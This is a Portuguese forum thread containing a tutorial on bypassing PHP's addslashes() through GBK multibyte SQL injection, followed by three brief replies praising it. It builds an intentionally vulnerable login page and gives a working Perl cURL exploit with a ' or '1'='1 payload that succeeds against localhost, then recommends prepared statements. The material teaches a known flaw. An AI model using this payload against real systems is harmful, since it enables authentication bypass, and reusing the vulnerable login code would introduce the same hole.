SQL Injection e addslashes()

Iniciado por Fvox, 12 de Agosto , 2011, 02:39:01 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Fvox

__________
. Introdução\______________________________________


Hi.

Quando foi descoberto este ataque bobo de ' or '1'='1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba "cancelando" a adição do escape na aspa.


_____________
. Vulnerabilidade\__________________________________


A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.

O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).

Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)

__________
. Praticando\______________________________________


Primeiro vamos criar o banco de dados na base.
CREATE DATABASE `fvox`; --Se voce nao modificou o my.cfn, entao DEFAULT CHARACTER SET...

Criando as tabelas:

CREATE TABLE login (
    usuario VARCHAR(10) CHARACTER SET GBK,
    senha VARCHAR(15) CHARACTER SET GBK,
);



Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:
INSERT INTO login (`usuario`, `senha`) VALUES ('fvox', 'invaders');

Simulando um sistema de login:
<?php
if(!isset($_POST['user']) && !isset($_POST['passwd'])){
?>

<html>
<body>
    <center>
        <form action="" method="POST">
            Usuario: <input name="user" type="text"><br>
            Senha: <input name="passwd" type="password"><br>
            <input type="submit" value="Enviar">
        </form>
    </center>
</body>
<?php
}
else {
    
mysql_connect('localhost''root''');
    
mysql_select_db('fvox');
    
$r mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\''addslashes($_POST['user']), addslashes($_POST['passwd'])));
    if(
mysql_fetch_array($r)) # ((bool) array() == FALSE)
        
echo 'Logado com sucesso!';
    else
        echo 
'Usuario e/ou senha incorretos!';
    
mysql_close();
}
?>



Tudo o precisamos fazer para exploitar isso, seria uma request do tipo:
CitarPOST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1...

O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.

Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:
#!/usr/bin/env perl

$_ = '\' or \'1\'=\'1';
s/\x27/chr(0xbf).chr(0x27)/ge;
print;


Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:

#!/usr/bin/env perl

use common::sense;
use WWW::Curl::Easy;

sub cURL {
    my ( $url, $header, $post ) = @_;
    my $curl = WWW::Curl::Easy->new;
    $curl->setopt( CURLOPT_HEADER,         $header // 0 );
    $curl->setopt( CURLOPT_NOBODY,         $header // 0 );
    $curl->setopt( CURLOPT_URL,            $url );
    if(defined $post) {
        $curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
        $curl->setopt( CURLOPT_POST,          1 );
        $curl->setopt( CURLOPT_POSTFIELDS,    $post );
    }
    my $r;
    $curl->setopt( CURLOPT_WRITEDATA, \$r );
    return ( $curl->perform == 0 ) ? $r : 0;
}

my $xpl = '\' or \'1\'=\'1';
$xpl =~ s/\x27/chr(0xbf).chr(0x27)/ge;
say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);



Response:
HTTP/1.1 200 OK
...
Content-Type: text/html

Logado com sucesso!



__________
. Finalizando\______________________________________


Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.

Enjoy ur pwnz!

[]'s
"Achas que estás caindo na insanidade? Mergulhe."


Mateus

Fvox parabéns Fvox...post impecável e de grande utilidade!  8)
H4X with axes 8)

Reeves

vlw Fvox

ficou bom e Muito didático!
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

Ilmo. Sr. JulianoRossi

Perfeito o Conteúdo, Fvox!

Abraços.
"Pior do que a insegurança...
... é a falsa sensação de estar seguro."